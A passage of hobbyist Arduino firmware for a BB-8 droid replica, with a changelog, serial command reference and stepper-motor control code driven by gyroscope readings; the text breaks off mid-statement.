=========\n - Cleaning variable name\n - Add RF433Mhz command for the Head and the controller\n - Add choise the channel\n\n 11\/2016\n =========\n - Conversion for a Arduino Mega 2560 Board\n - ADD motor A and B\n - FIX alls bug for stabilisation\n - ADD BOOT, STAT, ROTATE command\n - ADD Z motor configuration and production\n - ADD BOOT mode, for initilize or reinizialize the Droid position\n\n 10\/2016\n ==========\n - Add PID for X and Y\n\n\n To do list\n ==========\n - Add Z rotation controller\n - Add Rx\/Tx from the motherboard for change de coordinate of the head,\n rotate the head and report to the remote the status off all sensors\/positiom.\n\n\n Big thanks for http:\/\/r2builders.fr\/ !\n Initial project : http:\/\/r2builders.fr\/forum\/viewtopic.php?f=26&t=3928&hilit=BB8+par+MOUS\n\n ===============\n EXEMPLE COMMAND\n ===============\n \n \/\/ IT IS MANDATORY TO ADD 'c<YOUR CHANNEL>' for use commands. \/\/\n \n < SET >\n 'SET x87 y75 h3 \\n' \/\/ SET a new setpoint for x and y with 3degree of Hysteressis\n 'SET x90 y90 i1 j0 k1 \\n' \/\/ SET an inversion of the sensor X Y and invert the direction of X\n\n x = SETPOINT for X\n y = SETPOINT for Y\n m = MULTIPLIER FOR THE SPEED OF THE MOTOR X and Y\n i = INVERT the angle sensor ( X = Y and Y = X )\n j = INVERT the direction of X\n k = INVERT the direction of Y\n h = SET a new HYSTERESSIS\n\n < BOOT >\n 'BOOT \\n' \/\/ LAUNCH TEST for X, Y and Z -> Return X and Y to initial SETPOINT (x90 y90 ) and Z to ZERO\n\n < RUN >\n 'RUN \\n' \/\/ RUN the code in production mode (Recieved all data, X and Y runing for the SETPOINT poistion and Z folow the remote controll\n\n < STOP >\n 'STOP \\n' \/\/ STOP the production mode. All motors are stopped.\n\n < ROTATE >\n 'ROTATE d1 s100 \\n' \/\/ ROTATE Z motor on the RIGHT DIRECTION (d0 LEFT, d1 RIGHT) WITH the SPEED at 1000\/100 = 10 step\/sec = 18dec\/sec\n\n < STAT >\n 'STAT \\n' \/\/ It is all data SENDED to the remote\n\n < ENABLE >\n 'ENABLE a1 x1 z1 \\n' \/\/ ENABLE MOTOR AB, XY and Z (a = AB, x=XY, z = Z | 0 = desabled | 1 = enabled )\n\n\n\n FOR AFTER\n http:\/\/tutorial.cytron.com.my\/2014\/05\/15\/wireless-uart-with-arduino-and-433mhz-or-434mhz-module\/\n note : 10, 11, 12, 13, 14, 15, 50, 51, 52, 53\n\nLibrary used :\n- 128x64 OLED screen : https:\/\/github.com\/adafruit\/Adafruit_SSD1306\n- MPU6050 : https:\/\/github.com\/jrowberg\/i2cdevlib\/tree\/master\/Arduino\/MPU6050\n\n\n\n\n*\/\n\n#include \"Wire.h\"\n\/\/#include \"MPU6050.h\"\n#include \"SoftwareSerial.h\"\n#include <SPI.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n\n\n#define LOGO16_GLCD_HEIGHT 16 \n#define LOGO16_GLCD_WIDTH 16 \n\/\/#include <SPI.h>\n\/\/#include <nRF24L01.h>\n\/\/#include <RF24.h>\n\n\n\/\/===============\/\/\n\/\/ YOU CAN TOUCH \/\/\n\/\/===============\/\/\n\n\/\/ HC-12\nbool ifHead = false; \/\/ True if the head are wireless connected\nSoftwareSerial controler(10, 11); \/\/ RX, TX \/\/ For the renote communication\nSoftwareSerial head(12, 13); \/\/ RX, TX \/\/ For the head communication\n\n\n\/\/ RF24\n\/\/RF24 radio(54, 55);\n\n\/\/ MPU6050\n\n\/\/MPU6050 accelgyroIC1(0x69); \/\/ HEAD\n\/\/MPU6050 accelgyroIC2(0x69); \/\/ BODY\n\n\/\/MPU6050 accelgyro;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n\n\/\/int16_t axb, ayb, azb;\n\/\/int16_t gxb, gyb, gzb;\n\n\n\/\/ MOTOR CONFIGURATION \/\/ YOU CAN TOUCH THIS\n\nbool INVERT_A = false; \/\/ INVERT THE A MOTOR DIRECTION\nbool INVERT_B = false; \/\/ INVERT THE B MOTOR DIRECTION\nbool INVERT_X = false; \/\/ INVERT THE X MOTOR DIRECTION\nbool INVERT_Y = true; \/\/ INVERT THE Y MOTOR DIRECTION\nbool INVERT_XY = false; \/\/ INVERT X Y AXIAL\n\nint MIN_X = 45; \/\/ SET THE MIN INCLINAISON FOR X\nint MAX_X = 135; \/\/ SET THE MAX INCLINAISON FOR X\nint MIN_Y = 45; \/\/ SET THE MIN INCLINAISON FOR Y\nint MAX_Y = 135; \/\/ SET THE MAX INCLINAISON FOR Y\n\nint ETALON_X = 0; \/\/ AJUSTEMENT FOR X\nint ETALON_Y = 0; \/\/ AJUSTEMENT FOR Y\nint ETALON_B_X = 0; \/\/ AJUSTEMENT FOR X\nint ETALON_B_Y = -6; \/\/ AJUSTEMENT FOR Y\n\nint HYSTERESIS = 1; \/\/ HYSTERESSIS FOR THE ANGLE CALCULATION\n\n\/\/=====================\/\/\n\/\/ NOW YOU CAN'T TOUCH \/\/\n\/\/=====================\/\/\n\n\/\/PINOUT\n\n\/\/#define PIN_ENABLE_A 33 \/\/ Activation off all stepper\n\/\/#define PIN_ENABLE_B 27 \/\/ Activation off all stepper\n\n#define PIN_STEP_A 4 \/\/ PIN STEP FOR X\n#define PIN_DIR_A 5 \/\/ PIN DIRECTION FOR X \n#define PIN_STEP_B 6 \/\/ PIN STEP FOR X\n#define PIN_DIR_B 7 \/\/ PIN DIRECTION FOR X \n#define PIN_ENABLE_AB 9 \n\n#define PIN_ENABLE_X 43\n#define PIN_STEP_X 51 \/\/ PIN STEP FOR X \/\/26\n#define PIN_DIRECTION_X 53 \/\/ PIN DIRECTION FOR X \/\/24 \n#define PIN_X_MS_1 45\n#define PIN_X_MS_2 47\n#define PIN_X_MS_3 49\n\n#define PIN_ENABLE_Y 31 \n#define PIN_STEP_Y 39 \/\/ PIN STEP FOR Y \/\/ 4\n#define PIN_DIRECTION_Y 41 \/\/ PIN DIRECTION FOR Y \/\/ 3\n#define PIN_Y_MS_1 33\n#define PIN_Y_MS_2 35\n#define PIN_Y_MS_3 37\n\n#define PIN_ENABLE_Z 23\n#define PIN_STEP_Z 27 \/\/ PIN STEP FOR Y\n#define PIN_DIRECTION_Z 29 \/\/ PIN DIRECTION FOR Y\n#define PIN_Z_MS_1 25\n#define Z_POSITION 22\n\n#define BP_LEFT 52\n#define BP_RIGH 50\n\n#define LED_1 48\n#define LED_2 46\n#define LED_3 44\n#define LED_4 42\n#define LED_5 40\n#define LED_6 38\n\n#define TRIGGER_LIGHT 24 \/\/ PIN TRIGGER FOR START\/STOP THE LIGHTING INSIDE THE BALL\n#define LIGHTING 26 \/\/ PIN FOR FEED THE LIGHTING\n\n#define POWER_1 28\n#define POWER_2 30\n#define AUX_1\t\t\t 32\n#define AUX_2 34\n#define AUX_3 36\n\n#define BUZZER 3\n\n#define PING 13\n#define PIN_RESET 12\n\n\n\/\/#define LIGHT 20 \/\/ Pin for turn on\/off lighting on the ball (Great for a technical maintenance ;) )\n\n\/\/#define CURRENT 0\n\/\/#define VOLTAGE 6\n\n\/\/ I2C\nint I2C_ADRESS = 1;\n\n\/\/ MOTOR VARIABLE\nint SPEED_A = 0;\nint SPEED_B = 0;\nbool RUN_A = false;\nbool RUN_B = false;\nbool DIRECTION_A = true; \/\/ true = Front | false = back\nbool DIRECTION_B = true; \/\/ true = Front | false = back\n\nint x = 0;\nint y = 0;\nint bx = 0;\nint by = 0;\nint vx = 0;\nint vy = 0;\n\nint SPEED_X = 0;\nint SPEED_Y = 0;\nint SPEED_Z = 0;\nint SETPOINT_X = 90;\nint SETPOINT_Y = 90;\n\n\/\/int Z_ANGLE = 0;\nbool NEW_DATA = false;\n\nint MULTIPLIER = 15;\nint EMERGENCY_STOP = 11; \/\/ PIN\nint E_STOP = 12; \/\/ PIN\nbool EMG_STOP = false;\n\nint TMP_DATA[30];\n\nbool RUN_X = false;\nbool RUN_Y = false;\nbool RUN_ = false;\nbool DIRECT_X = false; \/\/ false = Gauche \/ true = droite\nbool DIRECT_Y = false; \/\/ false = Gauche \/ true = droite\nbool DIRECT_Z = false; \/\/ false = Gauche \/ true = droite\n \nbool X_OK = false;\nbool Y_OK = false;\nbool Z_OK = false;\n\nbool PRODUCTION = false;\nbool LED_PING = false;\nbool BOOT = false;\nbool TEST_SEQUENCE = false;\nbool ENABLE_MOTOR_AB = false;\nbool ENABLE_MOTOR_X = false;\nbool ENABLE_MOTOR_Y = false;\nbool ENABLE_MOTOR_Z = false;\nbool STAT_RUN = false;\n\nunsigned long previousMillisX = 0;\nunsigned long previousMillisY = 0;\nunsigned long previousMillisZ = 0;\nunsigned long previousMillisA = 0;\nunsigned long previousMillisB = 0;\nunsigned long currentA = 0;\nunsigned long currentB = 0;\n\nunsigned long trigGyro = 1000;\nunsigned long trigSec = 1000;\nunsigned long trigG = 0;\nunsigned long trigS = 0;\n\n\nunsigned char returnBuffer[8],counter=0; \/\/buffer where the received data will be stored\nunsigned char fullBuffer=0; \/\/0: buffer not full, 1: buffer is full\nint yawPitchRoll[3];\n\n\n\/\/=============================================================================\/\/\n\/\/ SETUP\n\/\/=============================================================================\/\/\nvoid setup()\n{\n Serial.begin(115200);\n\n\t\n display.begin(SSD1306_SWITCHCAPVCC, 0x3D); \/\/ initialize with the I2C addr 0x3D (for the 128x64)\n display.display();\n display.clearDisplay();\n\t\n \/\/ PINMODE\n pinMode( PIN_RESET , OUTPUT );\n \n pinMode( PIN_ENABLE_AB , OUTPUT );\n pinMode( PIN_ENABLE_X , OUTPUT );\n pinMode( PIN_ENABLE_Y , OUTPUT );\n pinMode( PIN_ENABLE_Z , OUTPUT );\n \n pinMode( PIN_DIRECTION_X , OUTPUT );\n pinMode( PIN_STEP_X , OUTPUT );\n pinMode( PIN_X_MS_1 , OUTPUT );\n pinMode( PIN_X_MS_2 , OUTPUT );\n pinMode( PIN_X_MS_3 , OUTPUT );\n \n pinMode( PIN_DIRECTION_Y , OUTPUT );\n pinMode( PIN_STEP_Y , OUTPUT );\n pinMode( PIN_Y_MS_1 , OUTPUT );\n pinMode( PIN_Y_MS_2 , OUTPUT );\n pinMode( PIN_Y_MS_3 , OUTPUT );\n \n pinMode( PIN_ENABLE_Z , OUTPUT );\n pinMode( PIN_STEP_Z , OUTPUT );\n pinMode( PIN_DIRECTION_Z , OUTPUT );\n pinMode( PIN_Z_MS_1 , OUTPUT );\n pinMode( Z_POSITION , OUTPUT );\n \n pinMode( PIN_DIR_A , OUTPUT );\n pinMode( PIN_STEP_A , OUTPUT );\n \n pinMode( PIN_DIR_B , OUTPUT );\n pinMode( PIN_STEP_B , OUTPUT ); \n \n pinMode( TRIGGER_LIGHT , INPUT );\n pinMode( LIGHTING , OUTPUT );\n \n pinMode( LED_1 , OUTPUT );\n pinMode( LED_2 , OUTPUT );\n pinMode( LED_3 , OUTPUT );\n pinMode( LED_4 , OUTPUT );\n pinMode( LED_5 , OUTPUT );\n pinMode( LED_6 , OUTPUT );\n \n pinMode( BUZZER , OUTPUT );\n pinMode( POWER_1 , OUTPUT );\n pinMode( POWER_2 , OUTPUT );\n \n pinMode( AUX_1 , OUTPUT );\n pinMode( AUX_2 , OUTPUT );\n pinMode( AUX_3 , OUTPUT );\n \n pinMode( BP_LEFT , INPUT );\n pinMode( BP_RIGH , INPUT );\n\n\n \n \/\/ SERIAL\n\n \/\/ Blabla, blablabla\n Serial.println(\"==================================================\");\n Serial.println(\" _______ ______ _ _ ______ ____ ______ \");\n Serial.println(\" (____ (____ ) | | | |\/ ___ |(____|______)\");\n Serial.println(\" ____) )____) )__| | | | | | | | | | | \");\n Serial.println(\" | __ (| __ (___) | | | | | | | | | | \");\n Serial.println(\" | |__) ) |__) ) | |___| | | | |_| |_ | | \");\n Serial.println(\" |______\/|______\/ |______\/|_| |_(_____) |_| \");\n Serial.println(\"==================================================\");\n Serial.println(\" \");\n Serial.println(\" _ Astromech Industrie _ \");\n Serial.println(\" > https:\/\/github.com\/Gruniek\/BB-UNIT < \");\n Serial.println(\" > http:\/\/r2builders.fr\/ < \");\n Serial.println(\" \");\n Serial.println(\" > Code by Daniel Mostosi < \");\n Serial.println(\" \");\n Serial.println(\" Report an issues? \");\n Serial.println(\" https:\/\/github.com\/Gruniek\/BB-UNIT\/issues \");\n Serial.println(\" \");\n Serial.print(\" FIRMWARE VERSION : \");\n Serial.print(FIRMWARE_VERSION);\n Serial.println(\" \");\n Serial.println(\"==================================================\");\n\n Serial.println(\" \");\n Serial.println(\"[1]-Booting up...\");\n\n \/\/ Start of the I2C protocol\n Serial.print(\"[2]-Initializing I2C devices... I2C ADRESS :\");\n Serial.println(I2C_ADRESS);\n Wire.begin(I2C_ADRESS);\n delay(1000);\n \n \/\/ Start the GY-25 6050 Gyroscope\n Serial.println(\"[3]-Connect to the GY-25-6050 HEAD: \");\n Serial1.begin(115200);\n delay(1000); \n Serial1.write(0XA5);\n Serial1.write(0X52); \n \n\n \/\/ END OF BOOT\/SETUP\n Serial.println(\"=====================\");\n Serial.println(\"Booting successfull !\");\n Serial.println(\"=====================\");\n}\n\n\/\/=============================================================================\/\/\n\/\/ LOOP\n\/\/=============================================================================\/\/\nvoid loop()\n{\n unsigned long currentG = millis(); \/\/ millis();\n\n if (currentG - trigG >= trigGyro && PRODUCTION)\n {\n trigG = currentG;\n\n \/\/ GET MOTION HEAD\n \/\/-------------------------------------------------------------------------\/\/\n \n if(fullBuffer == 1 && returnBuffer[0]==0xAA && returnBuffer[7]==0x55) \/\/Check if buffer is full and if packet is correct\n { \n \/\/Convert raw data to angle \n yawPitchRoll[0]=(returnBuffer[1]<<8|returnBuffer[2])\/100;\n yawPitchRoll[1]=(returnBuffer[3]<<8|returnBuffer[4])\/100;\n yawPitchRoll[2]=(returnBuffer[5]<<8|returnBuffer[6])\/100;\n\n \/\/Print angles\n \n\t\tax = yawPitchRoll[0];\n \tay = yawPitchRoll[1];\n \tay = yawPitchRoll[2];\n \n \tif(INVERT_XY)\n \t{\n \t\tx = (ax + ETALON_X + 90);\n \t\ty = (ay + ETALON_Y + 90);\n \t\t\n \t\t\/\/y = (((ax \/ 180) + ETALON_X) + 90);\n \t\t\/\/x = (((ay \/ 180) + ETALON_Y) + 90);\n \t\/*\tSerial.print(\"X=\");\n \t\tSerial.print(x); \n \t\tSerial.print(\" Y=\");\n \t\tSerial.println(y);\n \t*\/\n \t}\n \telse\n \t{\n \t\ty = (ax + ETALON_X + 90);\n \t\tx = (ay + ETALON_Y + 90);\n \t\t\/\/x = (((ax \/ 180) + ETALON_X) + 90);\n \t\t\/\/y = (((ay \/ 180) + ETALON_Y) + 90);\n \t}\n }\n \n fullBuffer=0;\n angleModulePortEvent(); \/\/ Checks if data has been received\n }\n \n \n \n\n char msg[64];\n if (Serial.available() > 0)\n {\n Serial.readBytesUntil('\\n', msg, sizeof msg);\n NEW_DATA = true;\n }\n\n \/\/ DATA IN \/\/\n if(NEW_DATA)\n {\n NEW_DATA = false;\n\n if (strcmp(strtok(msg, \" \"), \"SET\") == 0)\n {\n Serial.println(\"UPDATE SETPOINT\");\n \/\/ trouv\u00c3\u00a9 le message\n char *p;\n while ((p = strtok(NULL, \" \")) != NULL)\n {\n int val = atoi(p + 1);\n switch (*p)\n {\n case 'x':\n SETPOINT_X = val; \/\/ SETPOINT_X #1\n break;\n case 'y':\n SETPOINT_Y = val; \/\/ SETPOINT_Y #2\n break;\n case 'm':\n MULTIPLIER = val; \/\/ MULTIPLIER #3\n break;\n case 'i':\n INVERT_XY = val; \/\/ INVERT_XY #4\n break;\n case 'j':\n INVERT_X = val; \/\/ INVERT_X #5\n break;\n case 'k':\n INVERT_Y = val; \/\/ INVERT_Y #6\n break;\n case 'h':\n HYSTERESIS = val; \/\/ HYSTERESIS #7\n break;\n }\n }\n }\n\n if (strcmp(strtok(msg, \" \"), \"RUN\") == 0)\n {\n \t\tSerial.println(\"ROll BB-8 ROLL !\");\n PRODUCTION = true;\n }\n\n if (strcmp(strtok(msg, \" \"), \"STOP\") == 0)\n {\n \tSerial.println(\"STOP\");\n PRODUCTION = false; \n }\n \n if (strcmp(strtok(msg, \" \"), \"DIE\") == 0)\n {\n \t\tsoftware_Reset() ;\n }\n\n if (strcmp(strtok(msg, \" \"), \"RESET\") == 0)\n {\n Serial.println(\"= HARD RESET =\");\n delay(1000);\n Serial.println(\"= 3 =\");\n delay(1000);\n Serial.println(\"= 2 =\");\n delay(1000);\n Serial.println(\"= 1 =\");\n delay(1000);\n Serial.println(\"= Going to sleep Neo... =\");\n delay(1000);\n software_Reset() ;\n }\n \n if (strcmp(strtok(msg, \" \"), \"STAT\") == 0)\n {\n\t\tSTAT_RUN = !STAT_RUN;\n }\n \n if (strcmp(strtok(msg, \" \"), \"TEST\") == 0)\n {\n char *p;\n while ((p = strtok(NULL, \" \")) != NULL)\n {\n int val = atoi(p + 1);\n switch (*p)\n {\n case 'c':\n \tSerial.println(\"\");\n \tTEST_SEQUENCE = true;\n break;\n }\n }\n }\n\n\n\n if (strcmp(strtok(msg, \" \"), \"ROTATE\") == 0) \/\/ ROTATE d1 s100 <-- Rotate Z right, 18c\/sec\n {\n \/\/ trouv\u00c3\u00a9 le message\n char *p;\n while ((p = strtok(NULL, \" \")) != NULL)\n {\n int val = atoi(p + 1);\n switch (*p)\n {\n case 'd':\n DIRECT_Z = val; \/\/ DIRECT_Z #8\n break;\n case 's':\n SPEED_Z = val; \/\/ SPEED_Z #9\n break;\n }\n }\n }\n\n if (strcmp(strtok(msg, \" \"), \"MOVE\") == 0)\n {\n Serial.println(\"UPDATE SETPOINT\");\n \/\/ trouv\u00c3\u00a9 le message\n char *p;\n while ((p = strtok(NULL, \" \")) != NULL)\n {\n int val = atoi(p + 1);\n switch (*p)\n {\n case 'a':\n SPEED_A = val; \/\/ SPEED_A #10\n break;\n case 'b':\n SPEED_B = val; \/\/ SPEED_B #11\n break;\n case 'c':\n DIRECTION_A = val; \/\/ DIRECTION_A #12\n break;\n case 'd':\n DIRECTION_B = val; \/\/ DIRECTION_B #13\n break;\n }\n }\n }\n\n if (strcmp(strtok(msg, \" \"), \"ENABLE\") == 0)\n {\n char *p;\n while ((p = strtok(NULL, \" \")) != NULL)\n {\n int val = atoi(p + 1);\n switch (*p)\n {\n case 'a':\n ENABLE_MOTOR_AB = val; \/\/ ENABLE_MOTOR_AB \n if(ENABLE_MOTOR_AB)\n \t\t{\n \t\t\tdigitalWrite(ENABLE_MOTOR_AB, 1);\n \t\t\tSerial.println(\"Motor A and B Enabled\");\n \t\t}\n \t\telse\n \t\t{\n \t\t\tdigitalWrite(ENABLE_MOTOR_AB, 0);\n \t\t\tSerial.println(\"Motor A and B Desabled\");\n \t\t}\n break;\n \n case 'x':\n ENABLE_MOTOR_X = val; \/\/ ENABLE_MOTOR_XY\n if(ENABLE_MOTOR_X)\n \t\t{\n \t\t\tdigitalWrite(ENABLE_MOTOR_X, 1);\n \t\t\tSerial.println(\"Motor X Enabled\");\n \t\t}\n \t\telse\n \t\t{\n \t\t\tdigitalWrite(ENABLE_MOTOR_X, 0);\n \t\t\tSerial.println(\"Motor X Desabled\");\n \t\t}\n break;\n \n case 'Y':\n ENABLE_MOTOR_X = val; \/\/ ENABLE_MOTOR_XY \n if(ENABLE_MOTOR_Y)\n \t\t{\n \t\t\tdigitalWrite(ENABLE_MOTOR_Y, 1);\n \t\t\tSerial.println(\"Motor Y Enabled\");\n \t\t}\n \t\telse\n \t\t{\n \t\t\tdigitalWrite(ENABLE_MOTOR_Y, 0);\n \t\t\tSerial.println(\"Motor Y Desabled\");\n \t\t}\n break;\n \n case 'z':\n ENABLE_MOTOR_Z = val; \/\/ ENABLE_MOTOR_Z \n if(ENABLE_MOTOR_Z)\n \t\t{\n \t\t\tdigitalWrite(ENABLE_MOTOR_Z, 1);\n \t\t\tSerial.println(\"Motor Z Enabled\");\n \t\t}\n \t\telse\n \t\t{\n \t\t\tdigitalWrite(ENABLE_MOTOR_Z, 0);\n \t\t\tSerial.println(\"Motor Z Desabled\");\n \t\t}\n break;\n }\n }\n }\n \n }\n\n\/\/ digitalWrite( PIN_ENABLE_A, ENABLE_MOTOR_AB );\n\/\/ digitalWrite( PIN_ENABLE_B, ENABLE_MOTOR_XY );\n\n\n \/*if(BOOT)\n {\n\/\/ ENABLE_MOTOR_AB = true;\n ENABLE_MOTOR_XY = true;\n\/\/ ENABLE_MOTOR_Z = true;\ndigitalWrite(PIN_ENABLE_XY, ENABLE_MOTOR_XY);\n \/\/ SET X IN POSITION\n if(x < 90) DIRECT_X = false;\n else DIRECT_X = true;\n\n if(INVERT_X)\n {\n if(DIRECT_X) DIRECT_X = false;\n else DIRECT_X = true;\n }\n digitalWrite(PIN_DIRECTION_X, DIRECT_X); \/\/ dirX\n\n if(x > (SETPOINT_X + HYSTERESIS || (x < SETPOINT_X - HYSTERESIS || !X_OK )))\n {\n digitalWrite(PIN_STEP_X, 1);\n delayMicroseconds( 500 );\n digitalWrite(PIN_STEP_X, 0);\n delayMicroseconds( 500 );\n }\n else\n {\n if(!X_OK)\n {\n Serial.println(\"BOOT x1 \");\n X_OK = true;\n delay(2000);\n }\n }\n\n \/\/ SET Y IN POSITION\n if(y < 90) DIRECT_Y = false;\n else DIRECT_Y = true;\n\n if(INVERT_Y)\n {\n if(DIRECT_Y) DIRECT_Y = false;\n else DIRECT_Y = true;\n }\n digitalWrite(PIN_DIRECTION_Y, DIRECT_Y); \/\/ dirX\n\n if(y > (SETPOINT_Y + HYSTERESIS) || (y < SETPOINT_Y - HYSTERESIS || !Y_OK))\n {\n digitalWrite(PIN_STEP_Y, 1);\n delayMicroseconds( 500 );\n digitalWrite(PIN_STEP_Y, 0);\n delayMicroseconds( 500 );\n }\n else\n {\n if(!Y_OK)\n {\n Serial.println(\"BOOT y1 \");\n Y_OK = true;\n delay(2000);\n }\n }\n\/*\n \/\/ SET Z IN POSITION\n if(!digitalRead(Z_POSITION))\n {\n digitalWrite(PIN_STEP_Z, 1);\n delayMicroseconds( 500 );\n digitalWrite(PIN_STEP_Z, 0);\n delayMicroseconds( 500 );\n }\n else\n {\n if(!Z_OK)\n {\n Serial.println(\"BOOT z1 \");\n Z_OK = true;\n Z_ANGLE = 0;\n delay(2000);\n }\n }\n*\/\n \/* if( X_OK && Y_OK)\n {\n Serial.println(\"STAT b1 \");\n Serial.println(\"Booting UP OK!\");\n Serial.println(\"SEND 'RUN \\n' for start the PRODUCTION\");\n BOOT = false;\n }\n }\n*\/\n \/\/ PRODUCTION CODE\n \/\/-------------------------------------------------------------------------\/\/\n if(PRODUCTION) \/\/- PRODUCTION && !EMG_STOP\n {\n\n\/* ENABLE_MOTOR_AB = true;*\/\n \/\/ ENABLE_MOTOR_XY = true;\n\/\/ ENABLE_MOTOR_Z = true;\n\n\n\/*\n\n \/\/======================================================================\n \/\/ d8888\n \/\/ d88888\n \/\/ d88P888\n \/\/ d88P 888\n \/\/ d88P 888\n \/\/ d88P 888\n \/\/ d8888888888\n \/\/ d88P 888\n \/\/======================================================================\n \/\/ MOTOR A (Left)\n\n \/\/ Run the motor\n if(SPEED_A > 0) RUN_A = true;\n else RUN_A = false;\n SPEED_A = 1000 \/ SPEED_A;\n\n \/\/ Motor direction \/ With inversion\n if(INVERT_A)\n {\n if(DIRECTION_A) DIRECTION_A = false;\n else DIRECTION_A = true;\n }\n digitalWrite(PIN_DIR_A, DIRECTION_A); \/\/ Set the direction\n\n \/\/ Send Step inpultion to the motor\n unsigned long currentA = millis(); \/\/ millis();\n if (currentA - previousMillisA >= SPEED_A)\n {\n previousMillisA = currentA;\n\n if(RUN_A)\n {\n digitalWrite(PIN_STEP_A, 1);\n delayMicroseconds( 500 );\n digitalWrite(PIN_STEP_A, 0);\n delayMicroseconds( 500 );\n }\n }\n\n \/\/======================================================================\n \/\/ 888888b.\n \/\/ 888 \"88b\n \/\/ 888 .88P\n \/\/ 8888888K.\n \/\/ 888 \"Y88b\n \/\/ 888 888\n \/\/ 888 d88P\n \/\/ 8888888P\"\n \/\/======================================================================\n \/\/ MOTOR B (Right)\n\n \/\/ Run the motor\n if(SPEED_B > 0) RUN_B = true;\n else RUN_B = false;\n SPEED_B = 1000 \/ SPEED_B;\n\n \/\/ Motor direction \/ With inversion\n if(INVERT_B)\n {\n if(DIRECTION_B) DIRECTION_B = false;\n else DIRECTION_B = true;\n }\n digitalWrite(PIN_DIR_B, DIRECTION_B); \/\/ Set the direction\n\n \/\/ Send Step inpultion to the motor\n unsigned long currentB = millis(); \/\/ millis();\n if (currentB - previousMillisB >= SPEED_B)\n {\n previousMillisB = currentB;\n\n if(RUN_B)\n {\n digitalWrite(PIN_STEP_B, 1);\n delayMicroseconds( 500 );\n digitalWrite(PIN_STEP_B, 0);\n delayMicroseconds( 500 );\n }\n }\n*\/\n \/\/======================================================================\n \/\/ Y88b d88P\n \/\/ Y88b d88P\n \/\/ Y88o88P\n \/\/ Y888P\n \/\/ d888b\n \/\/ d88888b\n \/\/ d88P Y88b\n \/\/ d88P Y88b\n \/\/======================================================================\n\n\n\/\/digitalWrite(PIN_ENABLE_XY, ENABLE_MOTOR_XY);\n \/\/ Direction\n if(x < 90) DIRECT_X = false;\n else DIRECT_X = true;\n\n if(INVERT_X)\n {\n if(DIRECT_X) DIRECT_X = false;\n else DIRECT_X = true;\n }\n digitalWrite(PIN_DIRECTION_X, DIRECT_X); \/\/ dirX\n\n \/\/ Si ont doit demarer le moteur\n if(x > (SETPOINT_X + HYSTERESIS) || (x < SETPOINT_X - HYSTERESIS ))\n {\n \n if(x > MIN_X && x < MAX_X) RUN_X = true;\n else RUN_X = false;\n }\n else RUN_X = false;\n\n \/\/ Calcul du PID X\n if(x < SETPOINT_X) vx = (SETPOINT_X - x);\n if(x == 0) vx = 0;\n if(x > SETPOINT_X) vx = (x - SETPOINT_X);\n\n SPEED_X = 1000 \/ (vx);\n SPEED_X = SPEED_X * MULTIPLIER; \/\/ DEL\n if(SPEED_X < 15) SPEED_X = 15;\n\n \/\/ Mise en route du moteur\n unsigned long currentX = millis();\n\/\/RUN_X = true;\n\n if (currentX - previousMillisX >= SPEED_X)\n {\n previousMillisX = currentX;\n\n if(RUN_X)\n {\n \/\/Serial.println(\"stepX\");\n digitalWrite(PIN_STEP_X, 1);\n delayMicroseconds( 500 );\n digitalWrite(PIN_STEP_X, 0);\n delayMicroseconds( 500 );\n }\n }\n\n\n\n \/\/======================================================================\n \/\/ Y88b d88P\n \/\/ Y88b d88P\n \/\/ Y88o88P\n \/\/ Y888P\n \/\/ 888\n \/\/ 888\n \/\/ 888\n \/\/ 888\n \/\/======================================================================\n\n \/\/ Direction\n if(y < 90) DIRECT_Y = false;\n else DIRECT_Y = true;\n if(INVERT_Y)\n {\n if(DIRECT_Y) DIRECT_Y = false;\n else DIRECT_Y = true;\n }\n digitalWrite(PIN_DIRECTION_Y, DIRECT_Y);\n\n \/\/ Si ont doit demarer le moteur\n if(y > (SETPOINT_Y + HYSTERESIS) || (y < SETPOINT_Y - HYSTERESIS ))\n {\n if(y > MIN_Y && y < MAX_Y) RUN_Y = true;\n else RUN_Y = false;\n }\n else RUN_Y = false;\n\n \/\/ Calcul du PID Y\n if(y < SETPOINT_Y) vy = (SETPOINT_Y - y);\n if(y == 0) vy = 0;\n if(y > SETPOINT_Y) vy = (y - SETPOINT_Y);\n\n SPEED_Y = 1000 \/ (vy);\n SPEED_Y = SPEED_Y * MULTIPLIER; \/\/ DEL\n if(SPEED_Y < 15) SPEED_Y = 15;\n\n \/\/ Mise en route du moteur\n unsigned long currentY = millis(); \/\/ millis();\n\n if (currentY - previousMillisY >= SPEED_Y)\n {\n previousMillisY = currentY;\n\n if(RUN_Y)\n {\n digitalWrite(PIN_STEP_Y, 1);\n delayMicroseconds( 500 );\n digitalWrite(PIN_STEP_Y, 0);\n delayMicroseconds( 500 );\n }\n }\n\n\/*\n \/\/======================================================================\n \/\/ 8888888888P\n \/\/ d88P\n \/\/ d88P\n \/\/ d88P\n \/\/ d88P\n \/\/ d88P\n \/\/ d88P\n \/\/ d8888888888\n \/\/======================================================================\n\n digitalWrite(PIN_DIRECTION_Z, DIRECT_Z);\n if(SPEED_Z != 0)\n {\n unsigned long currentZ = millis();\n\n if (currentZ - previousMillisZ >= SPEED_Z)\n {\n previousMillisZ = currentZ;\n\n digitalWrite(PIN_STEP_Y, 1);\n delayMicroseconds( 500 );\n digitalWrite(PIN_STEP_Y, 0);\n delayMicroseconds( 500 );\n if(DIRECT_Z) Z_ANGLE++;\n else Z_ANGLE--;\n }\n }\n\n if(Z_ANGLE == 201) Z_ANGLE = 0;\n if(Z_ANGLE == -1) Z_ANGLE = 0;\n*\/\n }\n\n \/\/ TRIGGER \/ SEC\n \/\/-------------------------------------------------------------------------\/\/\n unsigned long currentS = millis(); \/\/ millis();\n\n if (currentS - trigS >= trigSec)\n {\n trigS = currentS;\n\n \/\/ PING\n if(LED_PING) LED_PING = false;\n else LED_PING = true;\n digitalWrite(PING, LED_PING);\n\/*\n \/\/ IF THE MPU6050 ARE ALWAYS CONNECTED, IF NOT, HE RECONNECT AUTOMATICLY\n if(!accelgyro.testConnection());\n \/\/if(!accelgyroIC1.testConnection());\n {\n PRODUCTION = false;\n EMG_STOP = true;\n accelgyro.initialize();\n \/\/accelgyroIC1.initialize();\n \/\/if(accelgyro.testConnection())\n if(accelgyro.testConnection()) PRODUCTION = true;\n }\n*\/\n \n\n \/\/ SEND STATUT\n \/\/ ON SERIAL USB\n \n \n if(STAT_RUN)\n {\n \tSerial.print(\"STAT > \");\n \tSerial.print(\"X = 